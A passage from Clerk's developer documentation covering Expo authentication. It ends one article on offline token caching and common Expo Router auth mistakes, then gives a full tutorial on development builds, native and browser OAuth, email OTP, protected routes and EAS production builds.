> Use `SplashScreen.setOptions({ duration: 200, fade: true })` for a smoother transition. The `fade` option is iOS only; on Android, the splash screen hides immediately regardless of this setting.

### Token persistence and offline support

Clerk's `tokenCache` handles persistence automatically. Session tokens are encrypted and stored on-device (iOS Keychain, Android Keystore). On restart, Clerk restores the session without requiring the user to sign in again.

For offline support, import `resourceCache` and pass it as an experimental prop:

```typescript
import { resourceCache } from '@clerk/expo/resource-cache'
;<ClerkProvider
  publishableKey={process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!}
  tokenCache={tokenCache}
  __experimental_resourceCache={resourceCache}
>
  <RootNavigator />
</ClerkProvider>
```

When enabled, `resourceCache` persists three categories of data to secure storage:

- **Environment configuration**: authentication strategies, display settings, organization settings, and feature flags for your Clerk instance
- **Client state**: active sessions, user data (email addresses, phone numbers, external accounts), and current sign-in/sign-up state
- **Session JWT**: the last active session token, returned by `getToken()` when the network is unavailable

This means the app can render user information, check roles, and make authenticated API requests (using the cached JWT) even when offline. The cached JWT may be expired, so your backend should handle token expiry gracefully.

The `__experimental_` prefix is on the prop name only; the import path (`@clerk/expo/resource-cache`) is stable. The resource cache is available on iOS and Android only (not Expo Web). When `resourceCache` is enabled, Clerk automatically surfaces network errors via `isClerkRuntimeError()` with `err.code === 'network_error'` instead of silently swallowing them, enabling custom offline error handling.

> \[!NOTE]
> `resourceCache` enables **reading** cached state offline. Write operations like `signIn.password()` or `signUp.password()` still require a network connection and will throw a network error when offline.

Clerk's session tokens have a 60-second default lifetime and refresh automatically approximately every 50 seconds. This happens in the background with no action needed from your code. If a token refresh fails (for example, during a network outage) and `resourceCache` is enabled, `getToken()` returns the cached token. Without `resourceCache`, a failed refresh causes `isSignedIn` to eventually flip to `false` when the token expires, triggering the route guards.

The session itself (not the token) has a configurable lifetime defaulting to 7 days with a rolling inactivity timeout. As long as the user opens the app within that window, they stay signed in.

## Common mistakes and gotchas

### 1. Redirecting before auth state loads

Checking `isSignedIn` without first checking `isLoaded` causes premature redirects. On app startup, `isSignedIn` is `undefined` until Clerk restores the session.

```typescript
// ✅ Correct: gate on isLoaded first
const { isLoaded, isSignedIn } = useAuth()
if (!isLoaded) return null
if (!isSignedIn) return <Redirect href="/(auth)/sign-in" />
```

Never skip the `isLoaded` check. Without it, every cold start redirects to sign-in, even for authenticated users. This is the single most common bug in Expo Router auth implementations.

### 2. Using hooks outside ClerkProvider

`useAuth()`, `useUser()`, `useSignIn()`, and all other Clerk hooks must be called inside a component wrapped by `ClerkProvider`. If you call them outside the provider, you'll get a runtime error about missing context. Place `ClerkProvider` in the root layout so all routes have access.

```typescript
// ✅ Correct: hooks called in a child of ClerkProvider
export default function RootLayout() {
  return (
    <ClerkProvider publishableKey={key} tokenCache={tokenCache}>
      <RootNavigator /> {/* useAuth() is safe here */}
    </ClerkProvider>
  )
}
```

### 3. Flash of wrong screen

Rendering route content before auth state resolves causes a visible flash. Return `null` or a loading indicator while `isLoaded` is `false`.

```typescript
// ✅ Correct: show nothing until auth is resolved
if (!isLoaded) return null
```

Paired with `SplashScreen.preventAutoHideAsync()`, this keeps the splash screen visible until the correct route is determined.

### 4. Navigation stack pollution after sign-out

After signing out, the user can press back and return to protected screens if the navigation stack isn't cleaned up.

```typescript
// ✅ Correct: use replace for auth transitions
router.replace('/(auth)/sign-in')
```

With `Stack.Protected`, this is handled automatically. When `isSignedIn` changes, the guard removes protected screens from the history.

### 5. Expo Go limitations

Not everything works in Expo Go. Features that require a [development build](https://docs.expo.dev/develop/development-builds/introduction/):

- Native OAuth (Google Sign-In, Apple Sign-In)
- Native Clerk components (`AuthView`, `UserButton`, `UserProfileView`)
- [Passkeys](/docs/reference/expo/passkeys)
- API routes (`+api.ts` files)

JavaScript-only sign-in/sign-up flows and browser-based OAuth work in Expo Go. Plan your development environment around the features you need.

### 6. Rendering views before Slot in the root layout

Never conditionally render content before `<Slot />` or `<Stack>` in the root layout. This prevents the navigator from mounting and causes a "Navigation object not initialized" runtime error.

```typescript
// ❌ Wrong: rendering before the navigator
export default function RootLayout() {
  const { isLoaded } = useAuth()
  if (!isLoaded) return <LoadingScreen /> // blocks Slot from mounting
  return <Slot />
}

// ✅ Correct: move auth logic to a child component
export default function RootLayout() {
  return (
    <ClerkProvider publishableKey={key} tokenCache={tokenCache}>
      <RootNavigator /> {/* auth checks happen here */}
    </ClerkProvider>
  )
}
```

### 7. Conditional hook calls

React hooks can't be called conditionally. This applies to `useAuth()`, `useUser()`, and all Clerk hooks.

```typescript
// ❌ Wrong: conditional hook call
if (showProfile) {
  const { user } = useUser()
}

// ✅ Correct: always call the hook, use the value conditionally
const { user } = useUser()
if (showProfile && user) {
  // render profile
}
```

### Testing auth flows

For component-level testing of route protection and navigation, use [`expo-router/testing-library`](https://docs.expo.dev/router/reference/testing/) (provides `renderRouter` extending `@testing-library/react-native`). For mobile E2E testing of full auth flows, [Maestro](https://maestro.mobile.dev/) is the recommended tool. Note that [`@clerk/testing`](/docs/guides/development/testing/overview) is designed for **web E2E testing only** (Playwright/Cypress) and doesn't support React Native or Expo.

## Frequently asked questions

---

# Expo Go vs Development Build?
URL: https://clerk.com/articles/expo-go-or-development-build-building-production-ready-authentication-with-clerk.md
Date: 2026-04-07
Description: Learn when to use Expo Go versus a development build for mobile authentication, and build a production-ready Expo app with Clerk featuring native Google sign-in, browser-based OAuth, email OTP, protected routes, and TestFlight distribution.

Use Expo Go for basic email and password authentication during early development, but switch to a development build when you need native Google Sign-In, biometrics, or other features requiring native modules. Clerk supports three tiers of Expo integration: Expo Go for simple flows, development builds for native sign-in methods, and production builds for App Store and TestFlight distribution.

This guide walks through building a fully working Expo app with Clerk authentication — Google native sign-in, browser-based Google and GitHub OAuth, email OTP, protected routes, and production builds you can share via TestFlight. If you want to follow along with a working reference, check out the [Clerk Expo quickstart](/docs/expo/getting-started/quickstart) and the [clerk-expo-quickstart repository](https://github.com/clerk/clerk-expo-quickstart).

> \[!NOTE]
> This tutorial builds a new app with `@clerk/expo` 3.0 ([Core 3](/changelog/2026-03-03-core-3)). If you're upgrading an existing project from `@clerk/clerk-expo` (Core 2), see the [Core 3 upgrade guide](/docs/guides/development/upgrading/upgrade-guides/core-3) for step-by-step migration instructions and breaking changes.

## Expo Go vs development builds: what actually matters for authentication

Developers searching for "Expo Go vs development build" have usually just hit a wall with [OAuth](/docs/guides/configure/auth-strategies/social-connections/overview) redirects. Here's what's actually going on and why the real answer involves three approaches, not two.

### What Expo Go can and can't do

Expo Go is a pre-built native app that runs your JavaScript bundle. It's great for rapid prototyping, but it has limitations that matter for auth.

The big one: Expo Go can't register custom URL schemes. When Google's OAuth flow tries to redirect back to your app via `myapp://callback`, there's no `myapp://` scheme registered. The redirect fails silently or lands nowhere. Expo Go also can't load custom native modules, which rules out native Google Sign-In (it uses a TurboModule under the hood). Deep links in Expo Go use the `/--/` prefix format, which doesn't work with standard OAuth callback patterns.

What does work in Expo Go: email/password with custom sign-in forms, basic session management with `useAuth()`, the `Show` component for conditional rendering, and any JavaScript-only auth flow that doesn't need native modules or custom URL schemes.

### Why development builds solve the OAuth problem

A development build is your own native app with a development experience bolted on. You compile the native code yourself (or let EAS Build do it), which means custom URL schemes, native modules, and deep linking all work.

Under the hood, `expo-dev-client` gives you the dev menu, hot reload, and bundle server switching that Expo Go provides, but inside your app with your native configuration. The fundamental distinction is that Expo Go uses Expo's native bundle while a development build uses yours.

Continuous Native Generation (CNG) via `npx expo prebuild` generates the `ios/` and `android/` directories from your `app.json` config and plugins. Config plugins like `@clerk/expo` automatically wire up native entitlements for features like Apple Sign-In and native Google Sign-In.

### The three-tier reality

Clerk's Expo SDK offers three approaches, not two:

| Approach                                                              | Works in Expo Go? | Dev build required? | What you get                                                                                            |
| --------------------------------------------------------------------- | :---------------: | :-----------------: | ------------------------------------------------------------------------------------------------------- |
| **JavaScript-only**                                                   |                   |                     | Custom sign-in/sign-up UI with email/password. Full control, most code.                                 |
| **JS + native sign-in**                                               |                   |                     | Custom UI + native Google/Apple sign-in via OS-level account picker. Less code than full custom.        |
| **[Native components](/changelog/2026-03-09-expo-native-components)** |                   |                     | Pre-built AuthView, UserButton, UserProfileView. SwiftUI (iOS) + Jetpack Compose (Android). Least code. |

This article builds with the **native components** approach (least code, best UX) and also shows the **browser-based OAuth** approach for GitHub (since native sign-in isn't available for all providers). If you're just prototyping email/password auth, Expo Go works fine. Switch to a development build when you add OAuth or native sign-in.

## Setting up the project

### Prerequisites

Before you start, make sure you have:

- **Node.js 20.9.0+** (Clerk Core 3 requirement)
- **Expo CLI** (`npx expo`)
- **EAS CLI** (`npm install -g eas-cli`) for production builds later
- **Xcode** (iOS) or **Android Studio** (Android) for local development builds
- **A Clerk account** (free tier supports 50,000 monthly retained users and unlimited applications)
- **[Apple Developer Program](https://developer.apple.com/programs/)** ($99/year) if you want to test on physical iOS devices or distribute via TestFlight. Simulator builds work without the paid account.

This tutorial targets [Expo SDK 55](https://expo.dev/changelog/sdk-55) (current stable, React Native 0.83). The minimum requirement for Clerk Core 3 is SDK 53. At the time of writing, the App Store and Play Store versions of Expo Go run SDK 54. You can install SDK 55 Expo Go via CLI on Android or use the TestFlight beta on iOS, but development builds are the most reliable path for SDK 55 and are required for the OAuth and native features covered here.

### Creating the Expo project

Create a new project with Expo Router for file-based routing:

```bash
npx create-expo-app@latest clerk-auth-demo
cd clerk-auth-demo
```

### Installing Clerk and dependencies

Install the required packages:

```bash
npx expo install @clerk/expo expo-secure-store expo-web-browser expo-auth-session expo-crypto
```

Here's what each package does:

- `@clerk/expo`: The Clerk SDK (Core 3). This package was renamed from `@clerk/clerk-expo` in Core 3.
- `expo-secure-store`: Encrypted token storage using iOS Keychain and Android Keystore.
- `expo-web-browser`: Opens an in-app browser for browser-based OAuth flows.
- `expo-auth-session`: Generates OAuth redirect URIs with the correct scheme.
- `expo-crypto`: Peer dependency required for the `useSignInWithGoogle()` hook. Not needed if you only use AuthView.

Next, configure the `@clerk/expo` plugin and a custom URL scheme in `app.json`:

```json
{
  "expo": {
    "plugins": ["@clerk/expo"],
    "scheme": "clerk-auth-demo"
  }
}
```

The `@clerk/expo` config plugin automatically sets up Apple Sign-In entitlements and the native Google Sign-In TurboModule during prebuild. The `scheme` field registers a custom URL scheme for OAuth redirects.

### Creating your first development build

Run the following command to create a local development build:

```bash
npx expo run:ios
```

For Android, use `npx expo run:android` instead. What happens under the hood: Expo runs `prebuild` to generate native directories from your `app.json` config and plugins, compiles the native code, and installs the app on your simulator or device. This is a local build. Later, you'll use EAS for cloud builds and production.

## Configuring Clerk

### Setting up the Clerk Dashboard

Create a new application in the [Clerk Dashboard](https://dashboard.clerk.com). Enable three authentication methods:

1. **Email** with OTP verification (under Email, Phone, Username)
2. **Google** as a social connection
3. **GitHub** as a social connection

For Google, you'll need custom credentials from Google Cloud Console (covered in the Google native sign-in section). For GitHub, development instances use shared credentials, so no extra setup is needed to get started.

### Environment variables and publishable key

Copy the [Publishable Key](/docs/guides/development/clerk-environment-variables#clerk-publishable-and-secret-keys) from the Clerk Dashboard and create a `.env` file in your project root:

```bash
EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY=pk_test_your-key-here
```

The `EXPO_PUBLIC_` prefix is required because Expo inlines these values at build time. Never put secret keys in `EXPO_PUBLIC_` variables since they're embedded in your app bundle and visible to anyone who decompiles it.

### Wrapping your app with ClerkProvider

Add `<ClerkProvider>` in your root layout at `app/_layout.tsx`:

```tsx
import { ClerkProvider } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { Slot } from 'expo-router'

const publishableKey = process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!

if (!publishableKey) {
  throw new Error('Add EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY to your .env file')
}

export default function RootLayout() {
  return (
    <ClerkProvider publishableKey={publishableKey} tokenCache={tokenCache}>
      <Slot />
    </ClerkProvider>
  )
}
```

The `tokenCache` prop uses `expo-secure-store` under the hood. On iOS, tokens are stored in the Keychain. On Android, they're stored in SharedPreferences encrypted with the Keystore system. This means sessions persist across app restarts without the user having to sign in again. Clerk session tokens have a 60-second lifetime and are proactively refreshed in the background on a 50-second interval, so your app never blocks on token refresh.

## Building authentication with Clerk's native components

`@clerk/expo` 3.0 ships pre-built native UI components powered by SwiftUI on iOS and Jetpack Compose on Android. They render as truly native views (not web views), handle email OTP, OAuth, [passkeys](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#passkeys), and [multi-factor authentication](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#multi-factor-authentication) automatically, and sync sessions back to the JavaScript SDK.

> \[!WARNING]
> Expo native components are currently in beta. If you run into any issues, reach out to [Clerk support](https://clerk.com/contact/support).

> \[!NOTE]
> Native components (AuthView, UserButton, UserProfileView) are iOS and Android only. For cross-platform apps that include web, use the web equivalents from `@clerk/expo/web` (`<SignIn />`, `<SignUp />`, `<UserButton />`, `<UserProfile />`). A `Platform.OS` check can switch between native and web components.

### Using AuthView for sign-in and sign-up

`AuthView` handles the full authentication flow natively. Set `mode="signInOrUp"` for a single screen that handles both sign-in and sign-up. It automatically renders all auth methods you've enabled in the Dashboard, including email OTP, Google, and GitHub.

Create a sign-in screen at `app/(auth)/sign-in.tsx`:

```tsx
import { AuthView } from '@clerk/expo/native'
import { useAuth } from '@clerk/expo'
import { useRouter } from 'expo-router'
import { useEffect } from 'react'
import { View, StyleSheet } from 'react-native'

export default function SignInScreen() {
  const { isSignedIn } = useAuth({ treatPendingAsSignedOut: false })
  const router = useRouter()

  useEffect(() => {
    if (isSignedIn) {
      router.replace('/(app)')
    }
  }, [isSignedIn])

  return (
    <View style={styles.container}>
      <AuthView mode="signInOrUp" />
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1 },
})
```

Native components don't use imperative callbacks. Instead, use `useAuth()` in a `useEffect` to react to authentication state changes. When `isSignedIn` becomes true, redirect to the home screen.

> \[!IMPORTANT]
> When using native components alongside `useAuth()`, pass `{ treatPendingAsSignedOut: false }` to avoid treating pending session tasks as signed-out state. This prevents flickering during session initialization.

### Adding the UserButton component

`UserButton` renders the user's circular avatar. Tapping it opens a native profile modal. It fills its parent container, so wrap it in a `View` with explicit dimensions.

Add the UserButton to your home screen at `app/(app)/index.tsx`:

```tsx
import { UserButton } from '@clerk/expo/native'
import { View, Text, StyleSheet } from 'react-native'

export default function HomeScreen() {
  return (
    <View style={styles.container}>
      <View style={styles.header}>
        <Text style={styles.title}>Home</Text>
        <View style={styles.userButton}>
          <UserButton />
        </View>
      </View>
    </View>
  )
}

const styles = StyleSheet.create({
  container: { flex: 1, padding: 24 },
  header: { flexDirection: 'row', justifyContent: 'space-between', alignItems: 'center' },
  title: { fontSize: 24, fontWeight: 'bold' },
  userButton: { width: 40, height: 40 },
})
```

### UserProfileView for inline profile management

`UserProfileView` renders a full profile management screen inline: personal info, security settings, connected accounts, account switching, and sign out. Set `style={{ flex: 1 }}` so it fills the screen.

Create a profile screen at `app/(app)/profile.tsx`:

```tsx
import { UserProfileView } from '@clerk/expo/native'
import { useAuth } from '@clerk/expo'
import { useRouter } from 'expo-router'
import { useEffect } from 'react'

export default function ProfileScreen() {
  const { isSignedIn } = useAuth({ treatPendingAsSignedOut: false })
  const router = useRouter()

  useEffect(() => {
    if (isSignedIn === false) {
      router.replace('/(auth)/sign-in')
    }
  }, [isSignedIn])

  return <UserProfileView style={{ flex: 1 }} />
}
```

Listen for sign-out via `useAuth()` and redirect when `isSignedIn` becomes false.

## Setting up OAuth: Google native sign-in

If you're using `<AuthView />`, Google Sign-In works automatically after Dashboard configuration. You don't need the `useSignInWithGoogle()` hook or `expo-crypto`. This section is for developers building custom UI who want the native OS-level account picker.

> \[!TIP]
> Native Apple Sign-In follows the same pattern via `useSignInWithApple()` from `@clerk/expo`. The `@clerk/expo` config plugin automatically sets up Apple Sign-In entitlements. AuthView handles Apple Sign-In automatically when it's enabled in the Dashboard.

### Configuring Google OAuth in the Clerk Dashboard

Add Google as a social connection with custom credentials. You'll need to create OAuth 2.0 credentials in [Google Cloud Console](https://console.cloud.google.com/):

1. **iOS OAuth client ID** (Application type: iOS, with your Bundle ID)
2. **Android OAuth client ID** (Application type: Android, with your package name and SHA-1 fingerprint)
3. **Web OAuth client ID** (required for Clerk's backend token verification, even for native-only apps)

Set the Web Client ID and Client Secret in the Clerk Dashboard under Social Connections.

Then register your native app in the Clerk Dashboard under **Native Applications**:

- **iOS**: App ID Prefix (Team ID) + Bundle ID
- **Android**: namespace + package name + SHA-256 fingerprint

Add these environment variables to your `.env`:

```bash
EXPO_PUBLIC_CLERK_GOOGLE_IOS_CLIENT_ID=your-ios-client-id
EXPO_PUBLIC_CLERK_GOOGLE_ANDROID_CLIENT_ID=your-android-client-id
EXPO_PUBLIC_CLERK_GOOGLE_WEB_CLIENT_ID=your-web-client-id
EXPO_PUBLIC_CLERK_GOOGLE_IOS_URL_SCHEME=com.googleusercontent.apps.your-ios-client-id
```

For the complete step-by-step, see the [Sign in with Google guide](/docs/guides/configure/auth-strategies/sign-in-with-google).

### Native Google Sign-In with useSignInWithGoogle()

For custom UI, use the `useSignInWithGoogle()` hook. It triggers the OS-level account picker without opening a browser.

```tsx
import { useSignInWithGoogle } from '@clerk/expo/google'
import { TouchableOpacity, Text, Alert, Platform } from 'react-native'

export function GoogleSignInButton() {
  const { startGoogleAuthenticationFlow } = useSignInWithGoogle()

  const handleGoogleSignIn = async () => {
    if (Platform.OS === 'web') {
      Alert.alert('Not supported', 'Native Google Sign-In is not available on web.')
      return
    }

    try {
      const { createdSessionId, setActive } = await startGoogleAuthenticationFlow()

      if (createdSessionId && setActive) {
        await setActive({ session: createdSessionId })
      }
    } catch (err: any) {
      // Error code -5 or SIGN_IN_CANCELLED means the user dismissed the picker
      if (err.code === 'SIGN_IN_CANCELLED' || err.code === '-5') {
        return
      }
      Alert.alert('Error', 'Failed to sign in with Google.')
    }
  }

  return (
    <TouchableOpacity onPress={handleGoogleSignIn}>
      <Text>Sign in with Google</Text>
    </TouchableOpacity>
  )
}
```

### Testing native Google Sign-In

Google Sign-In works on both simulators and physical devices with development builds. After any environment variable or config change, rebuild with `npx expo run:ios`. Common issues include missing client IDs, wrong bundle ID in Google Cloud Console, and forgetting to rebuild after changing config.

## Setting up OAuth: browser-based Google and GitHub

### How browser-based OAuth differs from native

Browser-based OAuth opens an in-app browser (via `expo-web-browser`), the user authenticates on the provider's website, and the app receives a redirect back via deep link. Native sign-in uses the OS-level account picker (Google's credential manager or Apple's ASAuthorizationController), which is faster since no browser opens.

The tradeoff: native feels more integrated but is only available for Google and Apple. Browser-based OAuth supports every provider Clerk offers, including GitHub, Microsoft, Discord, and more.

### Configuring redirect URIs

For browser-based OAuth, the redirect URI must match your app's scheme. Use `AuthSession.makeRedirectUri()` to generate the correct URI. It reads the scheme from `app.json` automatically.

The scheme is already set from the project setup step: `"scheme": "clerk-auth-demo"`. You also need to allowlist the redirect URL in the Clerk Dashboard for mobile [SSO](/glossary/single-sign-on-sso) redirects.

> \[!WARNING]
> The `auth.expo.io` proxy (formerly used by `expo-auth-session`) is deprecated and has a [known security vulnerability (CVE-2023-28131)](https://blog.expo.dev/security-advisory-for-developers-using-authsessions-useproxy-options-and-auth-expo-io-e470fe9346df). Always use a custom scheme with `AuthSession.makeRedirectUri()`. Rebuild your development build after changing the scheme.

### Implementing browser-based OAuth with useSSO()

`useSSO()` is the Core 3 recommended hook for browser-based OAuth. It replaces the deprecated `useOAuth()`.

Create a reusable OAuth screen. Start with a browser warm-up pattern for Android performance:

```tsx
import { useEffect } from 'react'
import { Platform } from 'react-native'
import * as WebBrowser from 'expo-web-browser'

WebBrowser.maybeCompleteAuthSession()

export const useWarmUpBrowser = () => {
  useEffect(() => {
    if (Platform.OS !== 'android') return
    void WebBrowser.warmUpAsync()
    return () => {
      void WebBrowser.coolDownAsync()
    }
  }, [])
}
```

Then build the OAuth sign-in component:

```tsx
import { useSSO } from '@clerk/expo'
import * as AuthSession from 'expo-auth-session'
import { TouchableOpacity, Text, Alert, View } from 'react-native'

export function BrowserOAuthButtons() {
  useWarmUpBrowser()

  const { startSSOFlow } = useSSO()

  const handleOAuth = async (strategy: 'oauth_google' | 'oauth_github') => {
    try {
      const redirectUrl = AuthSession.makeRedirectUri()

      const { createdSessionId, setActive } = await startSSOFlow({
        strategy,
        redirectUrl,
      })

      if (createdSessionId && setActive) {
        await setActive({ session: createdSessionId })
      }
    } catch (err: any) {
      Alert.alert('Error', `OAuth sign-in failed: ${err.message}`)
    }
  }

  return (
    <View>
      <TouchableOpacity onPress={() => handleOAuth('oauth_google')}>
        <Text>Sign in with Google (Browser)</Text>
      </TouchableOpacity>

      <TouchableOpacity onPress={() => handleOAuth('oauth_github')}>
        <Text>Sign in with GitHub</Text>
      </TouchableOpacity>
    </View>
  )
}
```

The flow opens an in-app browser, the user authenticates with the provider, and the browser redirects back to your app via the custom scheme. If `createdSessionId` is returned, call `setActive()` to establish the session.

### Adding GitHub as a second provider

GitHub uses the exact same `useSSO()` pattern with `strategy: 'oauth_github'`. Configure GitHub in the Clerk Dashboard as a social connection. Development instances use shared credentials, so you don't need a GitHub OAuth app for local testing.

For production, create a [GitHub OAuth App](https://github.com/settings/developers), set the authorization callback URL from the Clerk Dashboard, and enter the client ID and secret. See the [GitHub social connection guide](/docs/guides/configure/auth-strategies/social-connections/github) for details.

## Email and OTP authentication

### How email OTP works with Clerk

Clerk sends a [one-time passcode](/docs/guides/configure/auth-strategies/sign-up-sign-in-options#email) to the user's email. The user enters the code. Clerk verifies it server-side. No password storage, no reset flows, no forgotten password emails.

With native components (`AuthView`), email OTP is handled automatically. AuthView renders an email input and code verification screen for any email-based auth method enabled in the Dashboard.

### Building a custom email OTP flow

For developers using the JavaScript-only approach (without AuthView), here's the custom flow using Core 3's `SignInFuture` API. Each method returns `{ error }` instead of throwing, and `signIn.status` drives the flow between steps.

```tsx
import { useSignIn } from '@clerk/expo'
import { useRouter, type Href } from 'expo-router'
import { useState } from 'react'
import {
  View,
  TextInput,
  TouchableOpacity,
  Text,
  ActivityIndicator,
  StyleSheet,
} from 'react-native'

export function EmailOTPSignIn() {
  const { signIn, fetchStatus } = useSignIn()
  const router = useRouter()
  const [emailAddress, setEmailAddress] = useState('')
  const [code, setCode] = useState('')
  const [pendingVerification, setPendingVerification] = useState(false)
  const [loading, setLoading] = useState(false)
  const [error, setError] = useState('')

  if (fetchStatus === 'loading') return null

  const handleSendCode = async () => {
    setLoading(true)
    setError('')

    const { error: createError } = await signIn.create({ identifier: emailAddress })
    if (createError) {
      setError(createError.message || 'Failed to initiate sign-in')
      setLoading(false)
      return
    }

    const { error: sendError } = await signIn.emailCode.sendCode({ emailAddress })
    if (sendError) {
      setError(sendError.message || 'Failed to send code')
      setLoading(false)
      return
    }

    setPendingVerification(true)
    setLoading(false)
  }

  const handleVerifyCode = async () => {
    setLoading(true)
    setError('')

    const { error: verifyError } = await signIn.emailCode.verifyCode({ code })
    if (verifyError) {
      setError(verifyError.message || 'Invalid code')
      setLoading(false)
      return
    }

    if (signIn.status === 'complete') {
      await signIn.finalize({
        navigate: ({ session, decorateUrl }) => {
          if (session?.currentTask) {
            return
          }
          const url = decorateUrl('/')
          router.push(url as Href)
        },
      })
    }

    setLoading(false)
  }

  return (
    <View style={styles.container}>
      {!pendingVerification ? (
        <>
          <TextInput
            style={styles.input}
            placeholder="Email address"
            value={emailAddress}
            onChangeText={setEmailAddress}
            autoCapitalize="none"
            keyboardType="email-address"
          />
          <TouchableOpacity style={styles.button} onPress={handleSendCode} disabled={loading}>
            {loading ? (
              <ActivityIndicator color="#fff" />
            ) : (
              <Text style={styles.buttonText}>Send Code</Text>
            )}
          </TouchableOpacity>
        </>
      ) : (
        <>
          <TextInput
            style={styles.input}
            placeholder="Enter verification code"
            value={code}
            onChangeText={setCode}
            keyboardType="number-pad"
          />
          <TouchableOpacity style={styles.button} onPress={handleVerifyCode} disabled={loading}>
            {loading ? (
              <ActivityIndicator color="#fff" />
            ) : (
              <Text style={styles.buttonText}>Verify</Text>
            )}
          </TouchableOpacity>
        </>
      )}
      {error ? <Text style={styles.error}>{error}</Text> : null}
    </View>
  )
}

const styles = StyleSheet.create({
  container: { padding: 24, gap: 16 },
  input: { borderWidth: 1, borderColor: '#ccc', borderRadius: 8, padding: 12, fontSize: 16 },
  button: { backgroundColor: '#6C47FF', borderRadius: 8, padding: 14, alignItems: 'center' },
  buttonText: { color: '#fff', fontSize: 16, fontWeight: '600' },
  error: { color: 'red', fontSize: 14 },
})
```

### When to use email OTP vs OAuth

OAuth is faster for returning users since it only takes one tap. Email OTP works universally because it doesn't require a third-party account, which makes it a good choice for enterprise users whose companies may restrict social logins. Most apps benefit from offering both. The native components approach with AuthView handles this automatically by rendering all enabled methods.

> \[!TIP]
> If you add password-based auth later, the `useLocalCredentials()` hook from `@clerk/expo` enables biometric sign-in (Face ID/fingerprint) for returning users. It stores credentials locally via `expo-local-authentication` and `expo-secure-store`. See the [useLocalCredentials() reference](/docs/reference/expo/native-hooks/use-local-credentials) for details.

## Protected routes with Expo Router

### Authentication state with useAuth()

The `useAuth()` hook returns `isLoaded`, `isSignedIn`, `userId`, `sessionId`, and a `getToken()` method. Always check `isLoaded` before rendering to avoid a flash of wrong content during session restoration from secure storage.

```tsx
const { isLoaded, isSignedIn } = useAuth({ treatPendingAsSignedOut: false })

if (!isLoaded) {
  return <LoadingSpinner />
}
```

The `getToken()` method retrieves the current session token (a [JSON Web Token](/docs/guides/how-clerk-works/tokens-and-signatures)) for API calls. Clerk's SDK automatically refreshes tokens in the background on a 50-second interval (tokens have a 60-second lifetime), so your app never blocks on a token refresh.

### Setting up route groups

Expo Router uses file-based routing with route groups. Create an `(auth)` group for sign-in screens and an `(app)` group for authenticated content.

```text
app/
  _layout.tsx          # Root layout with ClerkProvider + auth routing
  (auth)/
    \_layout.tsx
    sign-in.tsx        # AuthView screen
  (app)/
    _layout.tsx
    index.tsx          # Home screen with UserButton
    profile.tsx        # UserProfileView screen
```

Update your root layout at `app/_layout.tsx` to handle auth-based routing:

```tsx
import { ClerkProvider, useAuth } from '@clerk/expo'
import { tokenCache } from '@clerk/expo/token-cache'
import { useRouter, useSegments, Slot } from 'expo-router'
import { useEffect } from 'react'
import { View, ActivityIndicator } from 'react-native'

const publishableKey = process.env.EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY!

function AuthRouter() {
  const { isLoaded, isSignedIn } = useAuth({ treatPendingAsSignedOut: false })
  const segments = useSegments()
  const router = useRouter()

  useEffect(() => {
    if (!isLoaded) return

    const inAuthGroup = segments[0] === '(auth)'

    if (isSignedIn && inAuthGroup) {
      router.replace('/(app)')
    } else if (!isSignedIn && !inAuthGroup) {
      router.replace('/(auth)/sign-in')
    }
  }, [isLoaded, isSignedIn, segments])

  if (!isLoaded) {
    return (
      <View style={{ flex: 1, justifyContent: 'center', alignItems: 'center' }}>
        <ActivityIndicator size="large" />
      </View>
    )
  }

  return <Slot />
}

export default function RootLayout() {
  return (
    <ClerkProvider publishableKey={publishableKey} tokenCache={tokenCache}>
      <AuthRouter />
    </ClerkProvider>
  )
}
```

The `Show` component from `@clerk/expo` can also be used for conditional rendering within screens:

```tsx
import { Show } from '@clerk/expo'
;<Stack>
  <Show when="signed-in">
    <Dashboard />
  </Show>
  <Show when="signed-out">
    <SignInPrompt />
  </Show>
</Stack>
```

Expo Router also offers `Stack.Protected` as a newer alternative to manual redirect logic:

```tsx
import { Stack } from 'expo-router'
;<Stack>
  <Stack.Protected guard={isSignedIn}>
    <Stack.Screen name="(app)" />
  </Stack.Protected>
  <Stack.Screen name="(auth)" />
</Stack>
```

When `guard` is false, navigation to protected routes fails silently and users on a now-unguarded screen are redirected to the anchor route (typically the index screen). History entries for that screen are removed. `Stack.Protected` works with `Stack`, `Tabs`, and `Drawer` navigators and has been stable since SDK 53.

> \[!NOTE]
> Route protection via `Stack.Protected` and `useAuth()` is client-side only. For sensitive data, always validate the session token on your server.

### Handling deep links in authenticated routes

With the route group pattern, unauthenticated users who try to deep link into a protected route get redirected to sign-in. After signing in, the `useEffect` in the root layout redirects them to the `(app)` group. If you need to redirect back to the specific deep-linked route, store the intended path in local state before redirecting to sign-in.

## Creating production builds

### Registering your native app in Clerk Dashboard

Before building for production, register your app on the Clerk Dashboard's **Native Applications** page. This step is required for native components and native sign-in hooks to work in production.

- **iOS**: Enter your App ID Prefix (Team ID) and Bundle ID
- **Android**: Enter your namespace, package name, and SHA-256 certificate fingerprint

Allowlist your redirect URL: `{bundleIdentifier}://callback`. Clerk also requires a domain for production instances, even for mobile-only apps. Configure this in the production instance settings.

For full details, see the [Expo production deployment guide](/docs/guides/development/deployment/expo).

### Configuring eas.json for production

Create an `eas.json` file with build profiles for development, preview, and production:

```json
{
  "cli": {
    "version": ">= 15.0.0"
  },
  "build": {
    "development": {
      "developmentClient": true,
      "distribution": "internal",
      "env": {
        "EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY": "pk_test_your-dev-key"
      }
    },
    "preview": {
      "distribution": "internal",
      "env": {
        "EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY": "pk_test_your-dev-key"
      }
    },
    "production": {
      "distribution": "store",
      "env": {
        "EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY": "pk_live_your-prod-key"
      }
    }
  },
  "submit": {
    "production": {}
  }
}
```

The key difference between profiles: `development` enables `developmentClient` for dev tools, `preview` is a release build for internal testing, and `production` targets app store distribution. Each profile can have its own `EXPO_PUBLIC_CLERK_PUBLISHABLE_KEY` to point at your development or production Clerk instance.

### Building for iOS with EAS Build

Run the production build:

```bash
eas build --platform ios --profile production
```

